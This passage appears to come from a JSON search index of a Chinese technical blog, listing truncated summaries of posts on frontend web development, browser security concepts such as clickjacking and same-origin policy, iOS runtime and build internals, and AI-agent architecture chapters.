点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上，然后诱使用户在该网页上进行操作，此时用户在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置，可以诱使用户恰好点击在iframe页面的一些功能性按钮上。\n虽然受害者点击的是他所看到的网页，但其实他所点击的是被黑客精心构建的另一个置于原网页上面的透明页面\nClickjacking 是仅此于 XSS 和 CSRF 的前端漏洞，因为需要诱使用户交互，攻击成本高，所以不被重视，但危害不容小觑。\n点击劫持的步骤\n黑客创建一个网页利用 iframe 包含目标网站； 隐藏目标网站，使 …","title":"点击劫持"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-008/","summary":"响应式是指实现不同屏幕分辨率的终端上浏览网页的不同展示方式。\n本知识点的主要内容有：\n为什么要使用响应式图片 怎么实现响应式图片 1、为什么要使用响应式图片 假如有一张图片的显示宽度为200px，那么，它在 1x（即设备像素比为 1 的显示器） 的显示器上，是占了 200 个物理像素（即实际所占的像素）；它在 2x 的显示器上，实际上是占了 400 个物理像素；在 3x 的显示器上，实际上是占了 600 个物理像素；在 4x 的显示器上就是占了 800 个物理像素。\n如果这个图片只提供 200 像素的尺寸，那么在 2x~4x 的显示器上看起来就很模糊。如果只提供 800 像素的版本，那么在 …","title":"响应式图片"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-07/","summary":" \u0026amp;ldquo;程序的本质就是状态与状态之间的转换。\u0026amp;rdquo; —— Edsger W. Dijkstra\n7.1 问题引入：百态纷呈的 Agent 系统 想象一个拥有超过 100 个状态属性的 AI Agent 系统。它需要同时管理：\n对话历史：数十轮多模态消息，包含用户输入、模型回复、工具调用结果 工具权限：每个工具的授权模式（允许、拒绝、询问），可在运行时动态变更 用户配置：来自用户设置、项目设置、企业策略、命令行参数等多层级配置源 UI 状态：展开/折叠视图、模型选择、通知队列、输入提示等 任务状态：后台任务的生命周期、子 Agent 的运行状态、团队协作信息 会话元数据：会话 …","title":"第7章：状态管理算法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/tagged-pointer-explained/","summary":"objc4 runtime internals\nTagged Pointer 对象 Tagged Pointer 是一种“指针即对象”的表示法：对象没有堆内存，类信息和 payload 直接编码在指针位中。objc4 对它提供了创建、取 tag、取 payload、取类、消息发送、禁用和混淆等完整路径。\n目录 作用 实现原理 核心宏、结构、函数 关键流程 测试视角 源码依据\n作用 减少堆分配 小整数、短字符串、日期、索引路径等小对象可以直接塞进指针。NSNumber 的小整数就是典型例子，test/taggedNSPointers.m 验证了 NSNumber …","title":"Tagged Pointer 对象实现讲解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-build/%E7%BC%96%E8%AF%91%E7%BC%93%E5%AD%98/","summary":"\u0026amp;ldquo;已经编译过的东西不再编译一遍\u0026amp;rdquo;——这是编译优化的基础原理。Xcode 的增量编译、CocoaPods 的二进制缓存、Bazel 的 Action Cache 都是不同层次的编译缓存。本文聚焦 ccache、Clang/Swift module cache、远程缓存等通用方案的原理与 iOS 落地。\n缓存分层 缓存按命中粒度可以分为三个层次：\nflowchart TD A[编译缓存] --\u0026gt; B[编译器内部缓存PCH/PCM/module cache] A --\u0026gt; C[Action 级缓存ccache/sccache] A --\u0026gt; D[产物级缓存 …","title":"编译优化-编译缓存"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-apm/apm/","summary":"APM（Application Performance Monitoring / Management）是面向线上真实用户的性能稳定性观测与治理体系。对 iOS App 来说，它不是一个单纯的 Crash SDK，也不是一个“把指标画成图”的后台，而是一套贯穿 C 端真实用户体验、端侧采集 SDK、服务端数据平台、B 端研发治理平台 的完整系统。\nRUM（Real User Monitoring）是 APM 在真实用户体验侧的核心模型：把用户的一次使用会话拆成 Session / View / Action / Resource / Error / LongTask 等对象，用统一 ID 串联 …","title":"iOS APM 与 RUM 体系总览"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/objective-c%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86-nsobject/","summary":"本文将深入探讨Objective-C中所有对象的基类NSObject的底层实现原理，涵盖对象本质、isa指针机制、Tagged Pointer、引用计数、内存布局等核心概念。\nNSObject 的本质：C 结构体 在Objective-C的底层实现中，NSObject的本质是一个C结构体。在苹果运行时源码中可以看到：\n// 底层运行时定义 struct objc_object { Class isa; // 指向对象所属类的指针 }; // 类型别名定义 typedef struct objc_object NSObject; 这意味着，当我们通过NSObject *obj = …","title":"Objective-C底层原理 - NSObject"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/rag/","summary":"大语言模型（LLM）能流畅地写文章、回答问题、编写代码，但它有一个根本性的局限：它的知识被冻结在训练数据截止的那一刻。问它昨天发生了什么新闻？不知道。问它你公司内部的技术文档？更不知道。\n更棘手的是，LLM有时候会\u0026amp;quot;一本正经地胡说八道\u0026amp;quot;——这就是所谓的**幻觉（Hallucination）**问题。模型会自信满满地编造一个不存在的论文引用、一个错误的API参数、甚至一个虚构的历史事件。\n**RAG（Retrieval-Augmented Generation，检索增强生成）**正是为解决这些问题而生。它的核心思想简单而有效：在让LLM回答之前，先从外部知识库中检索相关信息， …","title":"RAG（检索增强生成）"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-source-analysis/texture%E6%BA%90%E7%A0%81%E5%AF%BC%E8%AF%BB/","summary":" TODO: 待补充\n","title":"Texture源码导读"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/launch-%E5%90%AF%E5%8A%A8%E4%BC%98%E5%8C%96/","summary":"iOS应用的启动时间是用户体验的关键指标之一。研究表明，应用性能直接影响用户留存：页面加载时间每增加1秒，用户流失率会显著上升。对于iOS应用，需要在20秒内完成启动，否则可能会被watchdog强制终止。\n本系列文章从启动流程的各个阶段入手，系统性地介绍iOS启动优化的方法和实践。\n启动监控是 APM 的重要子系，线上 P50/P90/P99 的采集、冷/温/热启动判定、以及与业务秒开指标的关联，请参考 APM 系列：指标体系、数据采集。\n启动流程概述 App的启动流程分为两个主要阶段：\n阶段 时间范围 主要工作 Pre-main 进程创建 → main()函数 加载可执行文件、加载动态库 …","title":"启动优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-architecture/%E6%8F%92%E4%BB%B6%E5%8C%96/","summary":"什么是插件化 在iOS开发中，插件化通常指的是编译期插件化，即通过壳工程（Shell Project）按需装配不同的业务组件，生成不同功能的App。这与Android的运行时插件化（动态加载代码）有本质区别。\niOS插件化 vs Android插件化 特性 Android插件化 iOS插件化 实现方式 运行时动态加载APK/DEX 编译期按需集成组件 代码热更新 支持 不支持（App Store限制） 主要目的 绕过包大小限制、热修复 多App复用、编译提效 技术难度 高（Hook系统API） 中（工程配置） iOS的\u0026amp;quot;插件化\u0026amp;quot;主要体现在：\n壳工程设计：一套代码支撑多个 …","title":"插件化架构详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F/","summary":"定义 装饰器模式（Decorator Pattern）是一种结构型设计模式，它允许向现有对象动态添加新功能，同时又不改变其结构。装饰器通过创建一个包装对象来包裹真实对象，实现在不修改原有对象的基础上扩展功能。\n装饰器模式的核心思想是：使用组合而非继承来扩展对象的功能，遵循\u0026amp;quot;对扩展开放，对修改关闭\u0026amp;quot;的原则。\n为什么需要装饰器模式 装饰器模式要解决的核心问题是：在不修改原有对象的情况下，动态地给对象添加新功能。\n问题场景 假设我们正在开发一个UI组件库，需要为UILabel添加各种视觉效果：圆角、阴影、边框、渐变背景等。而且这些效果需要能够自由组合。\n方案一：使用继承（不推荐） …","title":"装饰器模式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-009/","summary":"传统应用发布模式 开发人员：在开发环境完成代码编写，单元测试，测试通过后提交到代码仓库\n运维人员：把项目部署到测试环境，供QA团队测试，测试通过后，部署生成环境\n测试人员：进行测试，测试完成后通知运维部署生产环境\n缺点 项目在早期就存在错误，但到最后集成的时候才发现 需要手动操作，易错率高 开发与运维需要及时沟通 有了以上缺点，那么就有了CI/CD CI/CD 持续集成(CI):\n合并开发人员正在编写的所有代码 一天内进行多次合并和提交代码 从存储库或生产环境中进行构建和自动化测试，确保没有集成问题并及早发现任何问题 持续交付(CD):\n可以通过将更改自动推送到发布系统来随时将软件发布到生产环 …","title":"持续集成/持续部署（CI/CD）"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-009/","summary":"1. 概念 正向代理是一个位于客户端和目标服务器之间的代理服务器(中间服务器)。为了从原始服务器取得内容，客户端向代理服务器发送一个请求，并且指定目标服务器，之后代理向目标服务器转交并且将获得的内容返回给客户端。正向代理的情况下客户端必须要进行一些特别的设置才能使用。\n反向代理正好相反。对于客户端来说，反向代理就好像目标服务器。并且客户端不需要进行任何设置。客户端向反向代理发送请求，接着反向代理判断请求走向何处，并将请求转交给客户端，使得这些内容就好似他自己一样，一次客户端并不会感知到反向代理后面的服务，也因此不需要客户端做任何设置，只需要把反向代理服务器当成真正的服务器就好了。\n2. 区别 …","title":"正向代理和反向代理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-009/","summary":"一 前言 我们来一起探讨一下React事件原理，这篇文章，我尽量用通俗简洁的方式，把React事件系统讲的明明白白。\n我们讲的react版本是16.13.1 , v17之后react对于事件系统会有相关的改版，文章后半部分会提及。\n老规矩，在正式讲解react之前，我们先想想这几个问题(如果我是面试官，你会怎么回答?)：\n我们写的事件是绑定在dom上么，如果不是绑定在哪里？ 为什么我们的事件不能绑定给组件？ 为什么我们的事件手动绑定this(不是箭头函数的情况) 为什么不能用 return false 来阻止事件的默认行为？ react怎么通过dom元素，找到与之对应的 fiber对象的？ …","title":"react 事件机制"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/security/security-009/","summary":"一句话总结：中间人攻击的关键在于获取公钥。\n一、我和小美传纸条 我和隔壁班的小美互相喜欢，经常互相传纸条。但我懒得动，一般让老王帮我顺路带过去，我信任老王，所以就是简单把纸对折一下就交给老王了。\n二、带锁的盒子 有一天我发现，老王居然偷看我的纸条！\n我很生气，于是买了一个带锁的盒子，并配了两把钥匙🔑，我留一把，另一把让老王交给小美。我心想这下子老王没钥匙，看不了我们的纸条了。\n三、一个需要两把钥匙的盒子 又过了几天，我发现老王还是会偷看，为什么呢？原来这老小子当初传递钥匙的时候，自己去复刻了一把！\n于是我又想了一个办法，换了一个更高级的盒子，这个盒子必须用一对钥匙才能使用，使用公钥上锁，必须使 …","title":"中间人攻击"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-009/","summary":"1、普通流（常规流） 文档流（流式布局）分为 普通流、定位流、浮动流，不同流内的块级元素和行内元素的布局方式不同，布局方式用 FC（格式化上下文，含有 块级格式化上下文、内联格式化上下文、层叠格式化上下文、灵活格式化上下文等）来命名；\n普通流中的布局规则默认为块级盒子从上到下，垂直排列；内联盒子从左到右，水平排列等；（书写模式（writing-mode）会对流布局产生影响；\n2、position 属性有：\nstatic：默认值，元素依然按照 普通流 的定位规则定位； relative absolute sticky fixed 使用 position 会脱离常规流，成为定位流，并有其自己的定位 …","title":"布局技巧"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-009/","summary":"一、插槽的几种使用方式 1. 普通插槽 举例来说，这里有一个 \u0026amp;lt;FancyButton\u0026amp;gt; 组件，可以像这样使用：\n\u0026amp;lt;FancyButton\u0026amp;gt; Click me! \u0026amp;lt;!-- 插槽内容 --\u0026amp;gt; \u0026amp;lt;/FancyButton\u0026amp;gt; 而 \u0026amp;lt;FancyButton\u0026amp;gt; 的模板是这样的：\n\u0026amp;lt;button class=\u0026amp;#34;fancy-btn\u0026amp;#34;\u0026amp;gt; \u0026amp;lt;slot\u0026amp;gt;\u0026amp;lt;/slot\u0026amp;gt; \u0026amp;lt;!-- 插槽出口 --\u0026amp;gt; \u0026amp;lt;/button\u0026amp;gt; \u0026amp;lt;slot\u0026amp;gt; 元素是一个 插槽出口 (slot …","title":"插槽"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/generator/","summary":"聊聊 for of 说起 for of 相信每个写过 JavaScript 的人都用过 for of ，平时我们用它做什么呢？大多数情况应该就是遍历数组了，当然，更多时候，我们也会用 map() 或者 filer() 来遍历一个数组。 但是就像我们标题里面说的，它跟 Generator 能扯上什么关系呢？\n首先我们想一个问题，为什么使用 for of 或者 map()/filer() 方法就可以遍历一个数组 (或者类数组对象: Strings , Maps , Sets , arguments ) 呢？ 为什么不能用他们来遍历一个对象呢？\n你能学到什么 对 for of 更深入的理解 …","title":"Generator"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-009/","summary":"纵观JavaScript中所有必须需要掌握的重点知识中，函数是我们在初学的时候最容易忽视的一个知识点。在学习的过程中，可能会有很多人、很多文章告诉你面向对象很重要，原型很重要，可是却很少有人告诉你，面向对象中所有的重点难点，几乎都与函数息息相关。\n包括之前几篇文章介绍的执行上下文，变量对象，闭包，this等，都是围绕函数的细节来展开。\n很多人在学习中，很急切的希望自己快一点开始学习面向对象，学习模块，学习流行框架，然后迅速成为高手。但是我可以很负责的告诉你，关于函数的这些基础东西没理解到一定程度，那么你的学习进展一定是举步维艰的。\n所以，大家一定要重视函数！\n当然，关于函数的重点，难点在前面几 …","title":"函数与函数式编程"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-009/","summary":"对于大多数前端工程师来说，音视频技术是一个比较少涉足的领域，\n本知识点主要介绍流媒体技术中的文本、图形、图像、音频和视频多种理论知识，涉及到播放器、web媒体技术、主流框架等内容。\n一、音视频基础 1.1 视频 1.1.1 基础概念 码率 单位时间内取样率越大，精度就越高，处理出来的文件就越接近原始文件。 帧率 对视频来说，帧率对应这观看卡顿。帧率越高，流畅度越高，低帧率会造成视觉卡顿。 压缩率 经过压缩后文件的大小 / 原始文件的大小 * 100% = 压缩率。编码压缩越小越好，但压得越小，解压时间 分辨率 用于度量图像内数据量多少的一个参数，和视频清晰度息息相关。 1.1.2 视频容器格式 …","title":"多媒体技术"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-08/","summary":" \u0026amp;ldquo;任何足够复杂的 AI 系统，最终都会重新发明操作系统。\u0026amp;rdquo;\n当一个 Agent 面对庞大的代码库需要同时研究架构、修改代码、运行测试时，单一上下文窗口的局限性就会暴露无遗。Claude Code 的回答不是让单个 Agent 变得更强，而是让多个 Agent 协作——如同一个工程团队，各司其职，并行推进。\n本章深入分析 Claude Code 的多 Agent 协调架构，从最基础的父子 Agent 派生，到 Coordinator 中心调度模式，再到 Swarm 去中心化协作，揭示这些算法背后的核心设计思想。\n8.1 问题引入：为什么需要多 Agent？ 考虑一个典型 …","title":"第8章 多 Agent 协调算法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/isa-refcount-explained/","summary":"isa_t、nonpointer isa、引用计数与 SideTable 本文基于 objc4 仓库中的 runtime 源码和相关测试，解释 Objective-C 对象头里的 isa_t 如何同时承载类信息、引用计数、弱引用/关联对象标记，以及这些信息何时转移到 SideTable。\n作用 实现原理与位布局 核心结构和关键字段方法 关键流程 测试如何约束行为 1. 作用 传统 Objective-C 对象的第一个机器字是 isa，直接保存类指针。objc4 在支持 SUPPORT_NONPOINTER_ISA 的平台上把这个机器字扩展为 isa_t： 低位和高位保存状态，中间区域保存类信息 …","title":"objc4：isa_t、nonpointer isa、引用计数与 SideTable"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-build/%E8%A7%82%E6%B5%8B/","summary":"\u0026amp;ldquo;无法度量就无法优化\u0026amp;rdquo;。在开始任何编译优化动作之前，必须先建立一套可重复、可对比的观测手段，否则改动的真实收益无从谈起。本文介绍 iOS 编译耗时观测的主要工具链和原理。\n观测目标分层 不同层次的观测工具回答不同的问题：\nflowchart TD A[编译耗时观测] --\u0026gt; B[整体耗时] A --\u0026gt; C[阶段耗时] A --\u0026gt; D[任务级耗时] A --\u0026gt; E[函数/表达式级] B --\u0026gt; B1[xcodebuild 总耗时] C --\u0026gt; C1[Build Timing Summary] C --\u0026gt; C2[Pod Install 阶段计时] D --\u0026gt; …","title":"编译优化-观测"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-source-analysis/fishhook%E6%BA%90%E7%A0%81%E5%AF%BC%E8%AF%BB/","summary":" fishhook 由 Facebook 于 2013 年开源，用于在运行时动态重绑定（rebind）Mach-O 中被 dyld 绑定的 C 符号，是 iOS/macOS 逆向与底层埋点（malloc 追踪、双 close 检测、网络 socket 拦截、NSLog 重定向等）领域的\u0026amp;quot;瑞士军刀\u0026amp;quot;。\n一、fishhook 是什么 一句话定义：fishhook 通过修改 Mach-O 镜像中 __DATA(_CONST) 段里 __la_symbol_ptr / __nl_symbol_ptr 两个 Section 中的函数指针，把对外部 C 符号（如 …","title":"fishhook 源码导读"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/sil/","summary":"SIL（Swift Intermediate Language，Swift 中间语言）是 Swift 编译器在编译过程中生成的一种中间表示（Intermediate Representation，IR）。它位于 Swift 源码与 LLVM IR 之间，是 Swift 编译器架构中至关重要的一层。\nSIL 的设计目标是：\n对 Swift 语言的高级语义进行精确建模 在高层抽象的基础上执行强大的优化 保留足够的类型信息，用于诊断和安全检查 作为 Swift 特有优化的载体，弥补 LLVM IR 无法直接表达 Swift 语义的不足 SIL 并不是给开发者日常编写的语言，而是编译器的内部表示。理解 …","title":"SIL（Swift Intermediate Language）"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/transformer%E6%9E%B6%E6%9E%84%E5%8E%9F%E7%90%86/","summary":"ChatGPT、Claude、Gemini——这些模型的核心都是同一个架构：Transformer。它在2017年由Google的论文\u0026amp;quot;Attention Is All You Need\u0026amp;quot;提出，彻底改变了自然语言处理（NLP）领域，随后席卷了计算机视觉、语音、蛋白质折叠等几乎所有AI领域。\n我们从最直觉的角度出发，一步步搞清楚Transformer到底在做什么。\n一、从序列到序列：Transformer要解决什么问题 1.1 语言的本质是序列 一句话是一个词的序列：\n\u0026amp;#34;我 今天 很 开心\u0026amp;#34; → [我, 今天, 很, 开心] 语言模型的核心任务是：给定前面的词 …","title":"Transformer架构原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-architecture/%E7%BB%84%E4%BB%B6%E5%8C%96/","summary":"什么是组件化 组件化是一种工程架构思想，将一个大型App拆分为多个独立的业务组件（Module），每个组件可以独立开发、独立测试、独立编译，组件之间通过中间层进行解耦通信。\n组件化解决的问题 问题 未组件化 组件化后 编译速度 全量编译，耗时长 只编译修改的组件，支持二进制化 团队协作 代码冲突频繁 独立仓库，减少冲突 代码复用 复制粘贴，难以维护 组件复用，统一维护 耦合度 类之间直接依赖，牵一发动全身 通过中间层通信，解耦 测试 难以单元测试 组件可独立测试 组件化与页面架构的关系 组件化是工程架构，关注的是App整体的模块划分和通信方式；而MVC、MVVM、TCA等是页面架构，关注的是单 …","title":"组件化架构详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/power-cpu%E4%B8%8E%E5%90%8E%E5%8F%B0%E4%BC%98%E5%8C%96/","summary":"CPU是App最容易\u0026amp;quot;无意识\u0026amp;quot;耗电的模块，而后台则是最容易\u0026amp;quot;偷偷\u0026amp;quot;耗电的场景。本文聚焦这两大问题域，给出具体的优化手段。\n一、CPU耗电的根本原因 根据 耗电-原理 中的分析，CPU耗电由三部分构成：\n活跃时间：CPU处于C0/P0的时间。 瞬时功率：和P-State频率相关。 唤醒次数：频繁从C-State唤醒无法进入深度休眠。 对应三条优化方向：\n优化方向 策略 减少活跃 任务及时结束，该停就停 降低功率 避免无谓的满核满频，使用合适的QoS 合并唤醒 聚合Timer、聚合任务，让CPU能连续工作后进入深休眠 二、识别CPU耗电热点 从 …","title":"耗电-CPU与后台优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E8%A7%82%E5%AF%9F%E8%80%85%E6%A8%A1%E5%BC%8F/","summary":"定义 观察者模式（Observer Pattern）是一种行为型设计模式，它定义了对象之间的一对多依赖关系，当一个对象（主题/被观察者）的状态发生改变时，所有依赖于它的对象（观察者）都会收到通知并自动更新。\n观察者模式也被称为发布-订阅模式（Publish-Subscribe Pattern）。\n为什么需要观察者模式 观察者模式要解决的核心问题是：当一个对象的状态发生变化时，如何自动通知所有依赖它的对象。\n问题场景：假设我们正在开发一个电商App，用户登录后需要更新多个页面的状态（首页显示用户名、购物车同步、个人中心更新等）。\n最直接的方式可能是这样：\nclass LoginService { …","title":"观察者模式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-010/","summary":"什么是 Bundle Splitting？ Bundle Splitting（代码分割）是一种将前端资源拆分成更小、独立的模块的技术。传统上，前端资源（如 JavaScript、CSS 和图片等）被打包成单个文件，通常称为“bundle”。这种方式存在一个问题，即无论用户需要哪些功能，都必须下载整个 bundle。而 Bundle Splitting 技术通过将代码拆分为更小的模块，按需加载，可以有效解决这个问题。\nBundle Splitting 的优点 减少初始加载时间 通过将代码拆分为多个小块，可以减少初始加载时间。当用户首次访问网页时，只需下载当前页面所需的资源，而无需等待整个应用程序 …","title":"代码分割工程化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-010/","summary":"一、前言 因为项目中使用到了 WebSocket ，面试官在深挖项目经验的时候，也难免提到 WebSocket 相关的知识点，通过这篇文章再做一下总结。\n二、什么是WebSocket WebSocket 是一种在单个TCP连接上进行全双工通信的协议。WebSocket 使得客户端和服务器之间的数据交换变得更加简单，允许服务端主动向客户端推送数据。\n在 WebSocket API 中，浏览器和服务器只需要完成一次握手，两者之间就直接可以创建持久性的连接， 并进行双向数据传输。\nWebSocket本质上一种计算机网络应用层的协议，用来弥补http协议在持久通信能力上的不足。\nWebSocket 协 …","title":"WebSocket相关"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-010/","summary":"前端开发经常会涉及表单的处理，或者其他一些用于输入的组件，比如日历组件。\n涉及到输入，就绕不开受控模式和非受控模式的概念。\n什么是受控，什么是非受控呢？\n想一下，改变表单值只有两种情况：\n用户去改变 value 或者代码去改变 value。\n如果不能通过代码改表单值 value，那就是非受控，也就是不受我们控制。\n但是代码可以给表单设置初始值 defaultValue。\n代码设置表单的初始 value，但是能改变 value 的只有用户，代码通过监听 onChange 来拿到最新的值，或者通过 ref 拿到 dom 之后读取 value。\n这种就是非受控模式。\n反过来，代码可以改变表单的 …","title":"受控组件和非受控组件"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/security/security-010/","summary":"概述 本文从以下三个问题，循序渐进，一步步拆解，何为浏览器的同源策略和跨域问题：\n什么是同源策略和跨域问题？ 怎样才算同源？ 同源策略下会有什么限制？ 什么是同源策略和跨域问题？ 同源政策是 1995 年由 Netscape 公司（就是创造了 JS 的那家网景公司）引入浏览器的一种策略。\n想要理解同源策略的话，可以先假设如果没有同源策略会发生什么事情。接下来我们通过一则恐怖故事代入理解一下没有同源策略的世界：\n在某个深夜，小明独自一人在家浏览网页，无意间打开了一些特殊网站，而恰巧的是，小明之前刚好打开过某些重要支付平台的网站且还没关闭，这时特殊网站里面可能有一些特殊 JS 脚本，在偷偷获取小明 …","title":"浏览器的同源策略"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/z-index/","summary":"大家可能觉得，z-index 是一个很简单的属性，你给它设置哪个值，元素就会位于 y 轴的哪个位置。但它实际上并没有我们想象的这么简单，这个属性背后是一系列决定元素所在层级的规则。\n在进行今天的介绍前，我们先列出三个问题，如果你能一眼看出它们的解决方案，那么恭喜你掌握了z-index，也就不需要阅读本文了；如果不行，那么耐心看完本文，相信能找到答案。\n三个自测问题 问题一：为什么z-index 数值更大，但 Content 没有在 Box 2 之上？ \u0026amp;lt;div id=\u0026amp;#34;box1\u0026amp;#34;\u0026amp;gt; Box 1 \u0026amp;lt;/div\u0026amp;gt; \u0026amp;lt;div …","title":"z-index"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/canvas-svg/","summary":"1.Canvas Canvas 是 HTML5 中新增的一个元素，它提供了一种通过 JavaScript 来绘制图形的方式，使用笔刷绘制2D图案。通过 Canvas，我们可以在网页中动态地绘制出各种图形、图表、动画等内容，实现更丰富的交互效果。\n工作方式 Canvas 的工作方式是，我们首先在 HTML 页面中添加一个 \u0026amp;lt;canvas\u0026amp;gt; 元素，并指定其宽度和高度，然后在 JavaScript 中获取该元素的上下文对象，并通过调用它的方法来绘制图形。Canvas 的上下文对象有多种，包括 2D 上下文、WebGL 上下文等，我们可以根据需求选择相应的上下文对象来进行绘制。\n常用属性 …","title":"Canvas 和 SVG"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/v-if-v-show/","summary":"v-show原理 export const vShow: ObjectDirective\u0026amp;lt;VShowElement\u0026amp;gt; = { beforeMount(el, { value }, { transition }) { el._vod = el.style.display === \u0026amp;#39;none\u0026amp;#39; ? \u0026amp;#39;\u0026amp;#39; : el.style.display if (transition \u0026amp;amp;\u0026amp;amp; value) { transition.beforeEnter(el) } else { setDisplay(el, value) } }, …","title":"v-if/v-show"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/async-await/","summary":"async/await用法 其实你要实现一个东西之前，最好是先搞清楚这两样东西\n这个东西有什么用？ 这个东西是怎么用的？ 有什么用？ async/await的用处就是：用同步方式，执行异步操作，怎么说呢？举个例子\n比如我现在有一个需求：先请求完接口1，再去请求接口2，我们通常会这么做\nfunction request(num) { // 模拟接口请求 return new Promise(resolve =\u0026amp;gt; { setTimeout(() =\u0026amp;gt; { resolve(num * 2) }, 1000) }) } request(1).then(res1 =\u0026amp;gt; { …","title":"Async/Await"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-010/","summary":"柯里化是函数的一个比较高级的应用，想要理解它并不简单。\n通过《函数与函数式编程》的学习，我们知道，接收函数作为参数的函数，都可以叫做高阶函数。我们常常利用高阶函数来封装一些公共的逻辑。\n我们接下来要学习的柯里化，其实就是高阶函数的一种特殊用法。\n柯里化是指这样一个函数(假设叫做createCurry)，他接收函数A作为参数，运行后能够返回一个新的函数。并且这个新的函数能够处理函数A的剩余参数。\n这样的定义可能不太好理解，我们可以通过下面的例子配合理解。\n假如有一个接收三个参数的函数A。\nfunction A(a, b, c) { // do something } 又假如我们有一个已经封装好了 …","title":"函数柯里化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-09/","summary":" \u0026amp;ldquo;任何足够先进的抽象，都不可与协议区分。\u0026amp;rdquo;\n一个智能 Agent 的能力上限，不在于它的模型有多强大，而在于它能与多少外部系统有效协作。Claude Code 通过 MCP（Model Context Protocol）协议，将数据库、API、文件系统、IDE、浏览器乃至 SaaS 服务，统一纳入 Agent 的工具可达边界。本章将深入 MCP 协议的设计思想，逐层剖析连接建立、能力发现、传输选择、认证流程、交互式授权以及资源截断等核心算法。\n9.1 问题引入：Agent 通信的统一协议挑战 现代 AI Agent 面临一个根本性的通信难题：它需要与形态各异的外部服务 …","title":"第9章 MCP 协议与通信算法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/weak-pointer-explained/","summary":"objc4 runtime zeroing weak SideTable weak_table_t\nObjective-C weak 指针：作用与实现原理 __weak 的核心价值是“引用对象但不拥有对象”：它不会增加引用计数；当对象开始销毁时，runtime 会把所有指向它的 weak 槽位自动写成 nil，避免野指针。这一页按 objc4 源码中的真实路径解释它如何登记、读取、搬迁和清零。\n阅读顺序 weak 解决什么问题 运行时数据模型 核心类型、字段、方法 关键操作流程 带注释源码片段 一遍记住 1. weak 的作用 不拥有对象__weak id x = obj; 不会 retain …","title":"Objective-C weak 指针作用与实现原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%E6%A6%82%E8%BF%B0/","summary":"什么是设计模式？ 设计模式（Design Pattern）是软件开发中反复出现问题的经典解决方案。它们是前人在大量实践中总结出的、被证明有效的代码设计经验，可以帮助开发者编写出更加灵活、可维护、可复用的代码。\n设计模式不是具体的代码，而是解决特定问题的思想和模板。正确运用设计模式可以：\n提高代码的可读性和可维护性 增强代码的可复用性 降低模块间的耦合度 提供通用的设计词汇，便于团队沟通 设计模式的起源 设计模式的概念最早由\u0026amp;quot;四人帮\u0026amp;quot;（Gang of Four，简称GoF）在1994年出版的《Design Patterns: Elements of Reusable …","title":"设计模式概述"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-source-analysis/cocoapods-%E4%BB%8E%E4%B8%8B%E8%BD%BD%E5%88%B0%E5%B7%A5%E7%A8%8B%E9%9B%86%E6%88%90/","summary":" 本文是系列第三篇，基于 CocoaPods 1.16.2 源码。上一篇我们停在 Analyzer 产出 AnalysisResult，本文继续走完 download_dependencies → validate_targets → generate_pods_project → integrate_user_project → write_lockfiles 这五个阶段。\n上一篇：从命令到依赖求解 · 首篇：架构总览\n一、全景：从 spec 到可编译的工程 先把本文要走的流程重新放一遍，让你带着地图读代码：\nflowchart TB A[AnalysisResult] --\u0026gt; …","title":"CocoaPods 